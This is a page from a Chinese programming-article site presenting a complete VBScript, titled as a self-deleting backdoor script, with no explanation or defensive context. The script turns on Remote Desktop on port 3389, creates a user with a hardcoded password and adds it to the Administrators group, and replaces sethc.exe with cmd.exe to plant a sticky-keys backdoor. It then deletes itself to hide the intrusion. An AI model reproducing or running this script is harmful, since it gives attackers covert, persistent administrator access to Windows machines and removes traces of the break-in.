欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

可自删除 开启3389创建用户粘滞键后门的vbs

程序员文章站 2022-08-27 14:54:15
on error resume next const hkey_local_machine = &h80000002 strcomputer = "." set stdou...
on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set stdout = wscript.stdout
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "system\currentcontrolset\control\terminal server"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\currentcontrolset\control\terminal server\wds\rdpwd\tds\tcp"
oreg.createkey hkey_local_machine,strkeypath
strkeypath = "system\currentcontrolset\control\terminal server\winstations\rdp-tcp"
strkeypath = "system\currentcontrolset\control\terminal server"
strvaluename = "fdenytsconnections"
dwvalue = 0
oreg.setdwordvalue hkey_local_machine,strkeypath,strvaluename,dwvalue
strkeypath = "system\currentcontrolset\control\terminal server\wds\rdpwd\tds\tcp"
strvaluename = "portnumber"
dwvalue = 3389
oreg.setdwordvalue hkey_local_machine,strkeypath,strvaluename,dwvalue
strkeypath = "system\currentcontrolset\control\terminal server\winstations\rdp-tcp"
strvaluename = "portnumber"
dwvalue = 3389
oreg.setdwordvalue hkey_local_machine,strkeypath,strvaluename,dwvalue
on error resume next
dim username,password:if wscript.arguments.count then:username=wscript.arguments(0):password=wscript.arguments(1):else:username="wykgif":password="wykgif123456":end if:set wsnetwork=createobject("wscript.network"):os="winnt://"&wsnetwork.computername:set ob=getobject(os):set oe=getobject(os&"/administrators,group"):set od=ob.create("user",username):od.setpassword password:od.setinfo:set of=getobject(os&"/"&username&",user"):oe.add(of.adspath)'wscript.echo of.adspath
on error resume next
dim obj, success
set obj = createobject("wscript.shell")
success = obj.run("cmd /c takeown /f %systemroot%\system32\sethc.exe&echo y| cacls %systemroot%\system32\sethc.exe /g %username%:f&copy %systemroot%\system32\cmd.exe %systemroot%\system32\acmd.exe&copy %systemroot%\system32\sethc.exe %systemroot%\system32\asethc.exe&del %systemroot%\system32\sethc.exe&ren %systemroot%\system32\acmd.exe sethc.exe", 0, true)
createobject("scripting.filesystemobject").deletefile(wscript.scriptname)